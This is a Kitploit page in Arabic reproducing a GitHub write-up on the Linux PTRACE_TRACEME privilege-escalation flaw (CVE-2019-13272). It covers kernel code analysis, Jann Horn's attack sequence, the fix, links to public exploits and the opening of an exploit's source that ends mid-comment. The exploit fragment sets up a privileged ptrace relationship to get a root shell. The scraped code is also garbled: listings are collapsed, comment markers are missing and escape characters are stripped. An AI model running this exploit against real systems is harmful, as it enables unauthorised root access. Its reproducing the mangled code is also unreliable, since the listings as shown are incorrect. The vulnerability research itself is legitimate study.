Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-13272 — تحليل متعمق واستغلال لـ CVE-2019-13272، وهي ثغرة تصعيد صلاحيات في نواة لينكس عبر ptrace. يتضمن شرحًا للكود وسيناريو الاستغلال. | Kitploit
أدوات/GitHubGitHub/datntsec/cve-2019-13272
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubdatntsec/cve-2019-13272

CVE-2019-13272

تحليل متعمق واستغلال لـ CVE-2019-13272، وهي ثغرة تصعيد صلاحيات في نواة لينكس عبر ptrace. يتضمن شرحًا للكود وسيناريو الاستغلال.

عرض المستودع
منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-13272

تحليل ثغرة تصعيد الامتيازات المحلية PTRACE_TRACEME CVE-2019-13272

PTRACE_TRACEME هي ثغرة تصعيد الامتيازات في نواة لينكس اكتشفها Jann Horn في يوليو 2019.

تحليل الثغرة:

Ptrace هي system call، توفر طريقة للسماح لعملية (tracer) بمراقبة والتحكم في تنفيذ عملية أخرى (tracee)، وفحص وتغيير core image و registers، وتستخدم بشكل أساسي لتعيين break point في debug وتتبع عملية استدعاء system call.``` c 1 396 kernel/ptrace.c <<ptrace_attach>> ptrace_link(task, current); 2 469 kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

root@kitploit:~
هناك طريقتان لإنشاء علاقة تعقب (trace relationship):
  - ستستدعي العملية (process) دالة fork، وستستدعي العملية الفرعية منها `PTRACE_TRACEME` (المقابلة لدالة `ptrace_traceme` في النواة) لتهيئة التابع (tracee).
  - تستدعي العملية `PTRACE_ATTACH` أو `PTRACE_SEIZE` (المقابلة لدالة `ptrace_attach` في النواة) لإنشاء متعقب (tracer) لتتبع عملية أخرى.

بغض النظر عن الطريقة المستخدمة، سيتم استدعاء دالة `ptrace_link` في النهاية لإنشاء علاقة التعقب بين المتعقب (tracer) والتابع (tracee).
- المعاملان اللذان يُمرران إلى `ptrace_link` في حالة `ptrace_attach` هما 'task' (التابع) و'current' (المتعقب).
- المعاملان اللذان يُمرران إلى `ptrace_link` في حالة `ptrace_traceme` هما 'current' (التابع) و'current->real_parent' (المتعقب).

هنا، يجب ملاحظة ما هما المعاملان اللذان يُمرران للمتعقب والتابع في الطريقتين أعلاه عند استدعاء دالة `ptrace_link`، لأن الثغرة ستكون في دالة `ptrace_link`.``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi 
                                                                 // ptraced của process cha
        child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
        child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung 
                                                          // vào biến này vì lỗi nằm ở đây
}

المفتاح لإنشاء علاقة التتبع (trace relationship) هو أن التابع (tracee) يسجل صلاحيات (cred) التابع (tracer) ويخزنها في المتغير 'ptracer_cred' الخاص بالتابع (tracee).

تم تقديم مفهوم 'ptracer_cred' بواسطة تصحيح (patch) في عام 2016، ptrace: Capture the ptracer's creds not PT_PTRACE_CAP. الغرض من تقديم 'ptracer_cred' هو إجراء فحص أمني عندما يقوم التابع (tracee) بتنفيذ exec لتحميل setuid executable.

لماذا نحتاج إلى هذا الفحص الأمني؟

عائلة exec يمكنها تحديث صورة (image) العملية. إذا تم تعيين setuid bit للملف القابل للتنفيذ، عند تشغيل الملف القابل للتنفيذ، سيتم تعديل euid للعملية إلى uid لمالك الملف القابل للتنفيذ. تصبح صلاحيات العملية أعلى من صلاحيات المستخدم الذي استدعى exec، وتشغيل هذا النوع من setuid executable سيكون له تأثير تصعيد (escalation).

تخيل، إذا كانت العملية التي تنفذ exec هي نفسها تابع (tracee)، بعد أن تقوم بتنفيذ setuid executable لتصعيد الامتيازات، يمكن للتتبع (tracer) تعديل السجلات والذاكرة الخاصة به (التابع) في أي وقت، وإذا كان التتبع ذو امتيازات منخفضة يمكنه التحكم في التابع ذو الامتيازات العالية، يمكن للتتبع تنفيذ عمليات غير مصرح بها من خلال التابع.

ومع ذلك، في النواة (kernel)، يبدو أن مثل هذه السلوكيات التي تتجاوز الصلاحيات غير مسموح بها، لذلك عند إنشاء علاقات التتبع، يحتاج التابع (tracee) إلى تخزين صلاحيات التتبع (tracer)، أي ptracer_cred، إذا قام التابع بتنفيذ عملية exec، فسوف يتحقق مما إذا كان بت setuid للملف القابل للتنفيذ الذي يتم تشغيله قد تم تعيينه أم لا، إذا كان كذلك، فسوف ينظر إلى صلاحيات 'ptracer_cred'. إذا لم تكن الصلاحيات كافية، فلن يتم استخدام صلاحية تنفيذ بت setuid (امتيازات مالك الملف) لتنفيذ exec، بل سيتم التنفيذ بصلاحيات المستخدم الأصلي.

تحليل كود هذه العملية كما يلي (تحليل كود هذا المقال يعتمد على الإصدار v4.19-rc8).``` python do_execve -> __do_execve_file -> prepare_binprm -> bprm_fill_uid -> security_bprm_set_creds ->cap_bprm_set_creds -> ptracer_capable ->selinux_bprm_set_creds ->(apparmor_bprm_set_creds) ->(smack_bprm_set_creds) ->(tomoyo_bprm_set_creds)

root@kitploit:~
ترتبط الأنشطة المتعلقة بصلاحية التنفيذ بشكل رئيسي في الدالة `prepare_binprm```` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569         int retval;
1570         loff_t pos = 0;
1571 
1572         bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573 
1574         /* fill in binprm security blob */
1575         retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process     
1576         if (retval)
1577                 return retval;
1578         bprm->called_set_creds = 1;
1579 
1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

كما أعلاه، أولاً، يتم استدعاء bprm_fill_uid لملء بيانات الاعتماد للعملية الجديدة، ثم يتم استدعاء security_bprm_set_creds للتحقق من الأمان وتعديل بيانات الاعتماد الجديدة إذا لزم الأمر.``` c 1509 static void bprm_fill_uid(struct linux_binprm *bprm) 1510 { 1511 struct inode inode; 1512 unsigned int mode; 1513 kuid_t uid; 1514 kgid_t gid; 1515 1516 / 1517 * Since this can be called multiple times (via prepare_binprm), 1518 * we must clear any previous work done when setting set[ug]id 1519 * bits from any earlier bprm->file uses (for example when run 1520 * first for a setuid script then again for its interpreter). 1521 / 1522 bprm->cred->euid = current_euid(); // <--- trước tiên sẽ sử dụng euid của process hiện tại 1523 bprm->cred->egid = current_egid(); 1524 1525 if (!mnt_may_suid(bprm->file->f_path.mnt)) 1526 return; 1527 1528 if (task_no_new_privs(current)) 1529 return; 1530 1531 inode = bprm->file->f_path.dentry->d_inode; 1532 mode = READ_ONCE(inode->i_mode); 1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- nếu bit setuid/setgid của file thực thi không được set 1534 return; // , hàm sẽ return tại đây. 1535 1536 / Be careful if suid/sgid is set / 1537 inode_lock(inode); 1538 1539 / reload atomically mode/uid/gid now that lock held / 1540 mode = inode->i_mode; 1541 uid = inode->i_uid; // <---- nếu S_ISUID được set,sử dụng i_uid của file 1542 gid = inode->i_gid; 1543 inode_unlock(inode); 1544 1545 / We ignore suid/sgid if there are no mappings for them in the ns */ 1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) || 1547 !kgid_has_mapping(bprm->cred->user_ns, gid)) 1548 return; 1549 1550 if (mode & S_ISUID) { 1551 bprm->per_clear |= PER_CLEAR_ON_SETID; 1552 bprm->cred->euid = uid; // <------ sử dụng uid của file như là euid của new process 1553 } 1554 1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { 1556 bprm->per_clear |= PER_CLEAR_ON_SETID; 1557 bprm->cred->egid = gid; 1558 } 1559 }

root@kitploit:~
انظر إلى سطري الكود التاليين بالنسبة للكود أعلاه:
- السطر 1522، يعين euid الحالي للعملية إلى new euid، وبالتالي فإن معظم العمليات المنفذة يتم تنفيذها تحت الصلاحيات الأصلية.
- السطر 1552، إذا تم تعيين bit suid، يعين uid لمالك ملف التنفيذ إلى new uid. يمكن فهمه على أنه يشبه setuid. يصبح new euid هو uid لمالك ملف التنفيذ، إذا كان المالك مستخدمًا متميزًا، فإن تصعيد الصلاحيات يحدث هنا.

ومع ذلك، فإن euid هنا ليس النتيجة النهائية بعد، نحتاج إلى فحص الدالة `security_bprm_set_creds` لمعرفة المزيد حول فحص الأمان.

الدالة `security_bprm_set_creds` تستدعي إطار عمل [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules)

على إصدار النواة الذي قمت بتحليله، هناك ما يصل إلى 5 نقاط ربط (hooks) في أطر عمل lsm تقوم بفحص أمان 'bprm_set_creds'. وظائف الفحص هي كما يلي:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds

أي وظائف الروابط التي سيتم تنفيذها هنا ستكون مرتبطة بتكوين كل نواة محددة. نظريًا، إذا تم تمكين جميع أطر عمل LSM، فسيتم تنفيذ جميع وظائف الروابط المذكورة أعلاه للتحقق من 'bprm_set_creds'.

في بيئة التحليل الخاصة بي، تم تشغيل وظيفتي الربط cap_bprm_set_creds و selinux_bprm_set_creds فقط.

من بينها، ستلعب وظيفة cap_bprm_set_creds دور تغيير euid:``` c 815 int cap_bprm_set_creds(struct linux_binprm *bprm) 816 { 817 const struct cred *old = current_cred(); 818 struct cred new = bprm->cred; 819 bool effective = false, has_fcap = false, is_setid; 820 int ret; 821 kuid_t root_uid; ===================== skip ====================== 838 / Don't let someone trace a set[ug]id/setpcap binary with the revised 839 * credentials unless they have the appropriate permit. 840 * 841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs. 842 / 843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844 845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- kiểm tra setid của chương trình được thực thi 846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || 847 !ptracer_capable(current, new->user_ns))) { // <----- Nếu process thực thi execve được trace, và executed program là setuid, quyền sẽ được xem xét thêm vào 848 /
downgrade; they get no more than they had, and maybe less */ 849 if (!ns_capable(new->user_ns, CAP_SETUID) || 850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) { 851 new->euid = new->uid; // <----- Nếu không thỏa điều kiện, euid của tiến trình mới sẽ được reset về uid ban đầu 852 new->egid = new->gid; 853 } 854 new->cap_permitted = cap_intersect(new->cap_permitted, 855 old->cap_permitted); 856 } 857 858 new->suid = new->fsuid = new->euid; 859 new->sgid = new->fsgid = new->egid; ===================== skip ====================== }

root@kitploit:~
كما سبق، 
  - السطر 845 يتحقق مما إذا كان euid متسقًا مع uid الأصلي (في تحليل دالة `bprm_fill_uid` أعلاه، إذا كان الملف المنفذ يحتوي على بت setuid مضبوطًا، فإن euid عادةً لا يكون متسقًا) ==> يمكن فهم ذلك أيضًا على أنه مكافئ لاكتشاف ما إذا كانت العملية المنفذة هي برنامج setid أم لا.
  - السطر 847 يتحقق مما إذا كانت العملية هي tracee أم لا.
  
إذا تم استيفاء الشرطين أعلاه، يجب تنفيذ دالة `ptracer_capable` للتحقق من الصلاحيات. إذا لم ينجح التحقق، سيتم تنفيذ تخفيض الصلاحيات.
  - السطر 851، يتم تغيير قيمة '*new->euid*' إلى '*new->uid*'، مما يعني أن الصلاحيات التي تم الحصول عليها من دالة `bprm_fill_uid` (cred) يمكن تخفيضها هنا.``` c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
    

كما ورد أعلاه

  • السطر 504 يستخرج 'tsk->ptracer_cred'.
  • السطر 506، يدخل إلى إطار عمل lsm للتحقق من 'tsk->ptracer_cred'.

المتغير 'tsk->ptracer_cred' مرتبط بالثغرة الموجودة هنا. كما ذكر سابقًا، هذا المتغير هو cred الخاص بالتتبع (tracer) الذي يخزنه التابع (tracee) عند إنشاء علاقة التتبع.

عندما ينفذ التابع execve لاحقًا لتشغيل برنامج قابل للتنفيذ suid، فإنه يستدعي الدالة ptracer_capable ويستخدم إطار عمل الأمان في lsm لتحديد صلاحيات 'ptracer_cred'.

لن نقوم بتحليل security_capable_noaudit داخل إطار عمل lsm، ولكن يمكن فهم الأمر ببساطة: إذا كان التتبع نفسه يمتلك صلاحيات الجذر، فسوف يجتاز الاختبار هنا، وإلا فسيعيد خطأ.

وفقًا للتحليل السابق، إذا فشل الاختبار الذي تجريه الدالة ptracer_capable، فسيتم تخفيض صلاحيات 'new->euid' إلى الصلاحيات الأصلية.

مثال: A يتتبع (ptrace) B، ثم ينفذ B الأمر execve '/usr/bin/passwd'. وفقًا لتحليل الكود أعلاه، إذا كان A يمتلك صلاحيات الجذر، فإن euid الخاص بـ B عند تنفيذ passwd سيكون الجذر، وإلا فسيستخدم الصلاحيات الأصلية.``` c kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) { rcu_read_lock(); __ptrace_link(child, new_parent, __task_cred(new_parent)); rcu_read_unlock(); }

root@kitploit:~
بالعودة إلى مقطع الكود الذي يحتوي على الثغرة أعلاه، لماذا يكون `traceme` خاطئًا عند تسجيل بيانات اعتماد والده عند إعداد رابط التتبع؟ من الواضح في هذه اللحظة أن والده هو المتعقب `tracer`؟

باستخدام مثال Jann Horn لتوضيح سبب عدم قدرة `traceme` على استخدام بيانات اعتماد `tracer` عند إعداد رابط التتبع بهذه الطريقة.``` py
 - 1,  task A: fork()s a child, task B
 - 2,  task B: fork()s a child, task C
 - 3,  task B: execve(/some/special/suid/binary)
 - 4,  task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - 5,  task C: execve(/usr/bin/passwd)
 - 6,  task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - 7,  task B: become dumpable again (e.g. execve(/some/other/binary))
 - 8,  task A: PTRACE_ATTACH to task B
 - 9,  task A: use ptrace to take control of task B
 - 10, task B: use ptrace to take control of task C

يوجد إجمالي 3 عمليات: A وB وC في السيناريو أعلاه.

  • في الخطوة 4، عندما تستخدم المهمة C PTRACE_TRACEME لإعداد رابط التتبع مع B، نظرًا لأن euid الخاص بـ B أصبح الآن 0 (لأنه قام للتو بتنفيذ suid binary)، فإن euid الخاص بـ 'ptracer_cred' الذي سجلته C هو أيضًا 0
  • في الخطوة 5، تقوم المهمة C بتنفيذ execve(suid binary) بعد ذلك. وفقًا للتحليل أعلاه، نظرًا لأن 'ptracer_cred' الخاص بـ C لديه صلاحيات، فإن الدالة ptracer_capable تمر، لذلك بعد تنفيذ execve، يرتفع euid الخاص بالمهمة C أيضًا إلى 0. لاحظ أن رابط التتبع بين B وC لا يزال ساريًا في هذه اللحظة.
  • في الخطوة 6، تقوم المهمة B بتنفيذ setresuid لخفض صلاحياتها. الغرض من ذلك هو المضي قدمًا في الـ attach مع المهمة A
  • في الخطوة 8، تستخدم المهمة A PTRACE_ATTACH لإعداد رابط تتبع مع B. كل من A وB لديهما صلاحيات عادية، وبعد ذلك يمكن لـ A التحكم في B لتنفيذ أي عملية.
  • في الخطوة 10، تتحكم المهمة B في المهمة C لتنفيذ إجراء تصعيد الصلاحيات.

الخطوات التسع الأولى تم إعدادها وفقًا لتحليل الكود السابق، فهل يمكن إعداد الخطوة التاسعة؟

عند تنفيذ الخطوة 10، المهمة B نفسها لديها صلاحيات عادية، والمهمة C لديها صلاحيات الجذر ورابط التتبع بين B وC صالح. في هذه الظروف، هل يمكن لـ B إرسال طلب ptrace إلى C لتنفيذ أنشطة مختلفة، بما في ذلك تصعيد الصلاحيات أم لا؟

دعنا نحلل هذا مع الكود أدناه:``` c 1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, 1112 unsigned long, data) 1113 { 1114 struct task_struct child; 1115 long ret; 1116 1117 if (request == PTRACE_TRACEME) { 1118 ret = ptrace_traceme(); // <----- đi vào nhánh traceme 1119 if (!ret) 1120 arch_ptrace_attach(current); 1121 goto out; 1122 } 1123 1124 child = find_get_task_by_vpid(pid); 1125 if (!child) { 1126 ret = -ESRCH; 1127 goto out; 1128 } 1129 1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { 1131 ret = ptrace_attach(child, request, addr, data); // <------ đi vào nhánh attach 1132 / 1133 * Some architectures need to do book-keeping after 1134 * a ptrace attach. 1135 */ 1136 if (!ret) 1137 arch_ptrace_attach(child); 1138 goto out_put_task_struct; 1139 } 1140 1141 ret = ptrace_check_attach(child, request == PTRACE_KILL || 1142 request == PTRACE_INTERRUPT); 1143 if (ret < 0) 1144 goto out_put_task_struct; 1145 1146 ret = arch_ptrace(child, request, addr, data); // <---- các yêu cầu ptrace khác 1147 if (ret || request != PTRACE_DETACH) 1148 ptrace_unfreeze_traced(child); 1149 1150 out_put_task_struct: 1151 put_task_struct(child); 1152 out: 1153 return ret; 1154 }

root@kitploit:~
كما في مقتطف الكود أعلاه، نظرًا لأن المهمة B والمهمة C لديهما بالفعل روابط التتبع في هذه المرحلة، يمكن إرسال طلب ptrace مباشرة إلى C عبر B، ومن ثم سيتم استدعاء الدالة `arch_ptrace`.``` c
arch/x86/kernel/ptrace.c

arch_ptrace 
    -> ptrace_request 
        -> generic_ptrace_peekdata
           generic_ptrace_pokedata 
            -> ptrace_access_vm 
                -> ptracer_capable 
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885                    unsigned long addr, unsigned long data)
886 {
887         bool seized = child->ptrace & PT_SEIZED;
888         int ret = -EIO;
889         siginfo_t siginfo, *si;
890         void __user *datavp = (void __user *) data;
891         unsigned long __user *datalp = datavp;
892         unsigned long flags;
893 
894         switch (request) {
895         case PTRACE_PEEKTEXT:
896         case PTRACE_PEEKDATA:
897                 return generic_ptrace_peekdata(child, addr, data);
898         case PTRACE_POKETEXT:
899         case PTRACE_POKEDATA:
900                 return generic_ptrace_pokedata(child, addr, data);
901 
=================== skip ================
1105 }



1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157                             unsigned long data)
1158 {
1159         unsigned long tmp;
1160         int copied;
1161 
1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163         if (copied != sizeof(tmp))
1164                 return -EIO;
1165         return put_user(tmp, (unsigned long __user *)data);
1166 }
1167 
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169                             unsigned long data)
1170 {
1171         int copied;
1172 
1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174                         FOLL_FORCE | FOLL_WRITE);
1175         return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

عندما يريد المتتبع (tracer) التحكم في المتتبع (tracee) لتنفيذ منطق كود جديد، فإنه يحتاج إلى إرسال طلبات قراءة وكتابة إلى منطقة الكود ومنطقة الذاكرة الخاصة بـ tracee. الطلبات المقابلة هي الدوال PTRACE_PEEKTEXT/PTRACE_PEEKDATA/PTRACE_POKETEXT/PTRACE_POKEDATA.

يتم تنفيذ عمليات القراءة والكتابة هذه في النهاية من خلال الدالة ptrace_access_vm.``` c kernel/ptrace.c 38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr, 39 void *buf, int len, unsigned int gup_flags) 40 { 41 struct mm_struct *mm; 42 int ret; 43 44 mm = get_task_mm(tsk); 45 if (!mm) 46 return 0; 47 48 if (!tsk->ptrace || 49 (current != tsk->parent) || 50 ((get_dumpable(mm) != SUID_DUMP_USER) && 51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- gọi hàm ptracer_capable một lần nữa. 52 mmput(mm); 53 return 0; 54 } 55 56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags); 57 mmput(mm); 58 59 return ret; 60 }

kernel/capability.c 499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace ns) 500 { 501 int ret = 0; / An absent tracer adds no restrictions */ 502 const struct cred *cred; 503 rcu_read_lock(); 504 cred = rcu_dereference(tsk->ptracer_cred); 505 if (cred) 506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); 507 rcu_read_unlock(); 508 return (ret == 0); 509 }

root@kitploit:~
انظر إلى مقطع الكود أعلاه، نلاحظ أن الدالة `ptrace_access_vm` تستدعي الدالة `ptracer_capable` التي قمنا بتحليلها سابقًا لتحديد ما إذا كان يمكن تنفيذ طلبها أم لا.

وفقًا لنتائج التحليل السابق، فإن '*ptracer_cred*' المخزنة في المهمة C في هذه المرحلة هي cred ذات صلاحيات، لذا فإن `ptracer_capable` ستنجح في هذه المرحلة، مما يعني أن السؤال السابق قد تمت الإجابة عليه. في هذه الحالة، يمكن للمهمة B ذات الصلاحيات العادية استخدام ptrace لإرسال طلبات قراءة وكتابة إلى منطقة الذاكرة ومنطقة الكود للمهمة C ذات صلاحيات root.

في هذه المرحلة، يتم تفعيل صلاحية '*ptracer_cred*' بواسطة المهمة C في حالتين:
- تقوم المهمة C بتنفيذ `execve(suid binary)` لرفع الصلاحيات
- يمكن للمهمة B ذات الصلاحيات العادية تنفيذ ptrace لقراءة وكتابة منطقة الكود ومنطقة الذاكرة للمهمة C، وبالتالي التحكم في المهمة C لتنفيذ عمليات تعسفية

هل الجمع بين هذين الدورين يشكل عملية تصعيد صلاحيات كاملة أم لا؟

قبل الإجابة على السؤال أعلاه، سننظر في كيفية استغلال هذا الثغرة وكيفية إصلاحها.

# نبذة عن تصحيح ثغرة PTRACE_TRACEME``` 
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

في جوهره، هذا الثغرة تشبه إلى حد ما ثغرات من نوع TOCTOU. الحصول على 'ptracer_cred' في مرحلة traceme واستخدام 'ptracer_cred' في المرحلة التالية في طلب ptrace التالي، قد لا يكون cred الخاص بالمتعقب هو cred الأصلي بل cred وقت الربط (أي أنه يتم إعادة تعيينه داخل دالة ptrace_link).``` diff diff --git a/kernel/ptrace.c b/kernel/ptrace.c index 8456b6e..705887f 100644 --- a/kernel/ptrace.c +++ b/kernel/ptrace.c @@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent, */ static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) {

  • rcu_read_lock();
  • __ptrace_link(child, new_parent, __task_cred(new_parent));
  • rcu_read_unlock();
  • __ptrace_link(child, new_parent, current_cred()); }
root@kitploit:~
دعنا نلقي نظرة على التصحيح: '*\_\_task_cred(new_parent)*' يستبدل بـ '*current_cred()*'

يُظهر التصحيح أنه عند تنفيذ PTRACE_TRACEME، فإن '*ptracer_cred*' لا يستخدم اعتمادية العملية الأم، بل يستخدم اعتماديته الخاصة.

# استغلال الثغرة
المفتاح لاستغلال هذه الثغرة هو إيجاد برنامج تنفيذي مناسب لبدء المهمة B. يجب أن يستوفي هذا البرنامج الشروط التالية:
- يمكن استدعاؤه من قبل مستخدم عادي
- يجب أن يحتوي على مرحلة تصعيد صلاحيات إلى الجذر أثناء التنفيذ
- بعد الحصول على صلاحيات الجذر، يجب أن يكون قادرًا على خفض الصلاحيات

(الغرض من التصعيد المؤقت إلى الجذر هو السماح للمهمة C بالحصول على ptracer_cred للجذر، والغرض من خفض الصلاحيات هو السماح للمهمة B بأن تُرفَق بعملية تمتلك صلاحيات ptrace العادية))

هنا 3 نماذج من الأكواد لاستغلال الثغرة:
- [Exploit by Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit by Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit by Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)

في [exploit لجان هورن](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)، يتم استخدام البرنامج [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) الموجود مسبقًا في الجهاز (للإصدار المكتبي) لبدء المهمة B

يسمح [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) للمستخدم بصلاحيات تشغيل برنامج آخر بصلاحيات مستخدم آخر، ويُستخدم في إطار عمل المصادقة لـ polkit. عند استخدام الوسيط --user، فإنه يسمح للعملية برفع الصلاحيات إلى الجذر ثم خفضها إلى المستخدم المحدد، وبالتالي يمكن استخدامه في عملية بناء المهمة B. بالإضافة إلى ذلك، نحتاج إلى إيجاد برامج تنفيذية أخرى يتم تنفيذها من خلال إطار polkit (استخدم Jann Horn مساعدين). يجب أن تستوفي هذه البرامج شرط أن المستخدم العادي يمكنه تنفيذها باستخدام pkexec دون الحاجة إلى المصادقة (العديد من البرامج التي تُنفَّذ عبر polkit تتطلب مصادقة عبر نافذة منبثقة)، طريقة التنفيذ كما يلي:``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary

استغلال لبكولز يضيف كودًا للعثور على ملف مساعد إضافي بناءً على عمل جان هورن. لأن ملف المساعد لجان هورن هو برنامج مبرمج بشكل ثابت، فهو غير موجود في العديد من توزيعات لينكس، لذا لا يمكن استخدام استغلاله على العديد من أنظمة التوزيع. على العكس، يمكن لكود استغلال بكولز أن يعمل بنجاح على توزيعات أكثر.

لأغراض البحث، سأتحدث عن استغلال جياي، لأن الملف المساعد الثنائي للتوزيعات المختلفة سيكون مختلفًا و pkexec متاح فقط على توزيعات سطح المكتب وفي الواقع، ثغرة تصعيد الامتيازات هذه هي ثغرة في نواة لينكس، لذا تم تعديل استغلال جان هورن لاستخدامه لتصعيد الامتيازات من خلال برنامجين تم إنشاؤهما يدويًا fakepkexec و fakehelper (بدلاً من البحث من النظام الهدف)، حتى يتمكن القارئ من تشغيل هذا الاستغلال على أي نظام لينكس لديه هذه الثغرة (بما في ذلك غير سطح المكتب) لأغراض البحث.

تحليل الاستغلال

دعونا نلقي نظرة على كود الاستغلال أدناه:``` c 167 int main(int argc, char *argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell(); 172 173 helper_path = "/tmp/fakehelper"; 174 175 / 176 * set up a pipe such that the next write to it will block: packet mode, 177 * limited to one packet 178 / 179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 181 char dummy = 0; 182 SAFE(write(block_pipe[1], &dummy, 1)); 183 184 / spawn pkexec in a child, and continue here once our child is in execve() / 185 static char middle_stack[10241024]; 186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 188 if (!middle_success) return 1; 189 ======================= skip ======================= 215 }

root@kitploit:~
أولاً، انظر إلى السطر 186، استدعاء دالة clone لإنشاء عملية فرعية (task B)، وسيقوم task B بتشغيل دالة middle_main.``` c
64 static int middle_main(void *dummy) {
65   prctl(PR_SET_PDEATHSIG, SIGKILL);
66   pid_t middle = getpid();
67 
68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69 
70   pid_t child = SAFE(fork());
71   if (child == 0) {
72     prctl(PR_SET_PDEATHSIG, SIGKILL);
73 
74     SAFE(dup2(self_fd, 42));
75 
76     /* spin until our parent becomes privileged (have to be fast here) */
77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78     char *needle = tprintf("nUid:t%dt0t", getuid());
79     while (1) {
80       char buf[1000];
81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82       buf[buflen] = '';
83       if (strstr(buf, needle)) break;
84     }
85 
86     /*
87      * this is where the bug is triggered.
88      * while our parent is in the middle of pkexec, we force it to become our
89      * tracer, with pkexec's creds as ptracer_cred.
90      */
91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92 
93     /*
94      * now we execute passwd. because the ptrace relationship is considered to
95      * be privileged, this is a proper suid execution despite the attached
